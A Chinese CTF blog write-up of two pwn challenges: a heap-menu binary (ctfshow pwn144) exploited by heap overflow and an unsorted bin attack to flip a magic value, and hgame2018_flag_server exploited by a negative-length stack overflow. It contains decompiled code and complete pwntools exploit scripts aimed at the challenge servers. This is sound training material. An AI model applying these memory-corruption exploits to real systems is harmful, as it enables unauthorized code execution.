ctfshow:堆前置pwn144、buuctf:hgame2018_flag_server
本文最后更新于238 天前,其中的信息可能已经过时,如有错误请发送邮件到506742773@qq.com


1、pwn144分析

是一个堆题的菜单,在ida里面仔细读读

main函数,ida有点老了嘿嘿,将就看吧

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // eax@2
  char buf; // [sp+0h] [bp-10h]@2
  __int64 v5; // [sp+8h] [bp-8h]@1

  v5 = *MK_FP(__FS__, 40LL);//栈溢出保护
  init(*(_QWORD *)&argc, argv, envp);
  logo();
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      read(0, &buf, 8uLL);
      v3 = atoi(&buf);
      if ( v3 != 3 )
        break;
      delete_heap(&buf, &buf);//选3
    }
    if ( v3 > 3 )
    {
      if ( v3 == 4 )
        exit(0);//选4
      if ( v3 == 114514 )
      {
        if ( (unsigned __int64)magic <= 0x1BF52 )//这里比较特别如果我们能控制v3的值并且让magic>0x1BF52就可以执行后门函数
        {
          puts("So sad !");
        }
        else
        {
          puts("Congrt !");
          TaT("Congrt !", &buf);
        }
      }
      else
      {
LABEL_17:
        puts("Invalid Choice");
      }
    }
    else if ( v3 == 1 )
    {
      create_heap(&buf, &buf);//选1
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_17;
      edit_heap(&buf, &buf);//选2
    }
  }
}


这里我们发现程序有后门函数

地址是tat=0x400D6D

magic在哪里呢?

在bass段,地址是magic=0x6020A0

create heap函数

__int64 create_heap()
{
  signed int i; // [sp+4h] [bp-1Ch]@1
  size_t size; // [sp+8h] [bp-18h]@3
  char buf; // [sp+10h] [bp-10h]@3
  __int64 v4; // [sp+18h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  for ( i = 0; i <= 9; ++i )
  {
    if ( !heaparray[i] )
    {
      printf("Size of Heap : ");
      read(0, &buf, 8uLL);
      size = atoi(&buf);
      heaparray[i] = malloc(size);
      if ( !heaparray[i] )
      {
        puts("Allocate Error");
        exit(2);
      }
      printf("Content of heap:", &buf);
      read_input(heaparray[i], size);
      puts("SuccessFul");
      return *MK_FP(__FS__, 40LL) ^ v4;
    }
  }
  return *MK_FP(__FS__, 40LL) ^ v4;
}


就是创建堆的函数,看看read_input函数

ssize_t __fastcall read_input(void *a1, size_t a2)
{
  ssize_t result; // rax@1

  result = read(0, a1, a2);
  if ( (signed int)result <= 0 )
  {
    puts("Error");
    _exit(-1);
  }
  return result;
}

heaparrray[10]这个数组也是存在bass段哦

edit

__int64 edit_heap()
{
  size_t v0; // ST08_8@6
  int v2; // [sp+4h] [bp-1Ch]@1
  char buf; // [sp+14h] [bp-Ch]@1
  __int64 v4; // [sp+18h] [bp-8h]@1

  v4 = *MK_FP(__FS__, 40LL);
  printf("Index :");
  read(0, &buf, 4uLL);
  v2 = atoi(&buf);
  if ( v2 < 0 || v2 > 9 )
  {
    puts("Out of bound!");
    _exit(0);
  }
  if ( heaparray[v2] )
  {
    printf("Size of Heap : ", &buf);
    read(0, &buf, 8uLL);
    v0 = atoi(&buf);
    printf("Content of heap : ", &buf);//看啊,这里,他没有保护欸,堆溢出漏洞哦!
    read_input(heaparray[v2], v0);
    puts("Done !");
  }
  else
  {
    puts("No such heap !");
  }
  return *MK_FP(__FS__, 40LL) ^ v4;
}


edit_heap存在堆溢出漏洞

delete_heap最后free指针置零没什么问题

现在就是用什么攻击方法的问题

首先有一个后门函数和一个跳转到后门的特殊点magic>0x1BF52

然后在edit_heap里有堆溢出漏洞

这里学到一个攻击手法叫unsorted bin attack,先来看看利用原理(一下内容摘自ctf-wili和kimi)

Unsorted Bin Attack 是一种针对 Glibc 堆管理机制的攻击方式,主要利用了 Glibc 中的 Unsorted Bin 特性。

1. Unsorted Bin 的基本概念

Unsorted Bin 是 Glibc 堆管理中的一个特殊区域,用于存储那些尚未被分类的自由块(free chunk)。当一个堆块被释放时,如果它不属于 fastbin 且不与 top chunk 相邻,它会被放入 Unsorted Bin 中。

2. Unsorted Bin Attack 的原理

Unsorted Bin Attack 的核心思想是通过控制 Unsorted Bin 中的 bk 指针,将一个伪造的堆块插入到目标地址,从而修改目标地址的值。

攻击步骤

分配堆块:首先分配一个堆块,然后释放它,使其进入 Unsorted Bin。

修改 bk 指针:通过某种漏洞(如堆溢出或 UAF),我们这道题就是要利用堆溢出,修改该堆块的 bk 指针,使其指向目标地址减去一定偏移量(通常是 16 字节)。

触发分配:再次调用 malloc,程序会从 Unsorted Bin 中取出堆块。此时,目标地址会被修改为 Unsorted Bin 的头部地址。

3. Unsorted Bin Attack 的应用场景

Unsorted Bin Attack 主要有两个应用场景:

泄露地址:通过将堆块的 bk 指针指向某个地址,可以在堆块被分配时泄露该地址的值。

修改任意地址的值:将堆块的 bk 指针指向目标地址减去 16 字节,可以在堆块被分配时修改目标地址的值。

4. 应用方式

以下是一个实际的攻击流程示例:

分配两个堆块,避免在释放时与 top chunk 合并。

释放第一个堆块,使其进入 Unsorted Bin。

利用漏洞修改第一个堆块的 bk 指针,使其指向目标地址减去 16 字节。

再次调用 malloc,程序会从 Unsorted Bin 中取出堆块,目标地址的值被修改为 Unsorted Bin 的头部地址。

下面就开始实操

2、pwn144实操

这里搜了一点堆块设置的知识:

0x80 大小的堆块

避免 fastbin:在 Glibc 的堆管理中,小于 0x80 的堆块会被放入 fastbin 中。fastbin 是一种快速分配和释放小块内存的机制,但它对堆块的管理相对简单,不适合复杂的堆攻击。通过设置堆块大小为 0x80,可以确保这些堆块不会进入 fastbin,而是进入普通的堆管理区域(如 unsorted bin 或 small bin)。

对齐和边界:0x80 是一个常见的堆块大小,它在内存对齐和边界检查方面表现良好。在 64 位系统中,堆块的大小通常需要是 16 字节的倍数,0x80 满足这个要求。

0x20 大小的堆块

fastbin 的边界:0x20 是一个常见的 fastbin 大小。在 Glibc 的堆管理中,fastbin 的大小范围是从 0x20 到 0x80(不包括 0x80)。通过设置堆块大小为 0x20,可以确保这些堆块进入 fastbin,从而利用 fastbin 的特性进行攻击。

控制堆块的合并:在某些情况下,设置堆块大小为 0x20 可以避免堆块与 top chunk 合并,从而更好地控制堆的布局。

from pwn import *
context.log_level="debug"
p=remote("pwn.challenge.ctf.show",28211)

def creat_heap(size,content):
    p.sendlineafter("Your choice :",str(1))
    p.sendlineafter("Size of Heap :",str(size))
    p.sendlineafter(":",content)

def edit_heap(index,size,content):
    p.sendlineafter("Your choice :",str(2))
    p.sendlineafter("Index :",str(index))
    p.sendlineafter("Size of Heap :",str(size))
    p.sendlineafter(":",content)

def delete_heap(index):
    p.sendlineafter("Your choice :",str(3))
    p.sendlineafter("Index :",str(index))

creat_heap(0x80,b'aaaa')#0
creat_heap(0x20,b'bbbb')#1
creat_heap(0x80,b'cccc')#2
creat_heap(0x20,b'dddd')#3

delete_heap(2)
delete_heap(0)#be top_chunk
magic=0x6020a0
fd=0#fake
bk=magic-0x10

payload=b'a'*0x20+p64(0)+p64(0x91)+p64(fd)+p64(bk)#0x91是实际分配的内存可以通过调试看到
edit_heap(1,0x50,payload)
creat_heap(0x80,b'eeee')
p.recvuntil(":")
p.sendline(str(114514))
p.interactive()


3、hgame2018_flag_server分析


32位canary和NX,运行一下,是个登录的程序


main函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@13
  int result; // eax@20
  int v5; // ecx@20
  int v6; // [sp+8h] [bp-60h]@6
  int v7; // [sp+Ch] [bp-5Ch]@13
  int i; // [sp+10h] [bp-58h]@1
  int v9; // [sp+14h] [bp-54h]@13
  char s1; // [sp+18h] [bp-50h]@12
  int v11; // [sp+58h] [bp-10h]@1
  int v12; // [sp+5Ch] [bp-Ch]@1

  v12 = *MK_FP(__GS__, 20);
  init();
  v11 = 0;
  printf("loading");
  for ( i = 0; i >= 0; ++i )
  {
    if ( !(i % 100000000) )
      putchar(46);
  }
  puts("OK\n");
  v6 = 0;
  printf("your username length: ");
  __isoc99_scanf("%d", &v6);
  while ( v6 > 63 || !v6 )
  {
    puts("sorry,your username is too LOOOOOOOOONG~~\nplease input again.\n");
    printf("your username length: ");
    while ( getchar() != 10 )
      ;
    __isoc99_scanf("%d", &v6);
  }
  puts("whats your username?");
  read_n(&s1, v6);//这个函数可以关注一下
  //如果用户名是 "admin",程序会:用当前时间 time(0) 作为种子生成随机数 v9 = rand()。要求你输入一个 key,必须等于这个不可预测的随机数。如果输入不对,直接退出。
  if ( !strcmp(&s1, "admin") )
  {
    v3 = time(0);
    srand(v3);
    v9 = rand();
    printf("hello admin, please input the key: ");
    __isoc99_scanf("%u", &v7);
    if ( v7 != v9 )
    {
      puts("noooo, you are not the TRUE admin!!!\nwho are you???");
      exit(0);
    }
    v11 = 1;
  }
  printf("hello %s, here is what I want to tell you:", &s1);
  if ( v11 )
    system("cat flag");//这里就是后门了
  else
    puts("澶氬枬鐑按");
  result = 0;
  v5 = *MK_FP(__GS__, 20) ^ v12;
  return result;
}


read_n:

int __cdecl read_n(int a1, int a2)
{
  int i; // [sp+Ch] [bp-Ch]@1

  for ( i = 0; i != a2; ++i )
  {
    if ( read(0, (void *)(a1 + i), 1u) != 1 )
      exit(-1);
    if ( *(_BYTE *)(a1 + i) == 10 )
    {
      *(_BYTE *)(a1 + i) = 0;
      return i;
    }
  }
  return i;
}

所以我们最后想拿flag得修改v11,怎么修改呢,如果v6=-1的话就会无限循环注意这个函数

read_n(&s1, v6);而s1距离v11是0x40,我们输入0x40以后就可以修改v11


4、hgame2018_flag_server拿个flag

from pwn import *
context.log_level="debug"
p=remote("node5.buuoj.cn",26398)

p.sendlineafter("your username length:",str(-1))
payload=b'a'*(0x40)+p32(1)
p.recvuntil("whats your username?")
p.sendline(payload)
p.interactive()
~                                                         
~               

明天要回学校了TAT......
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇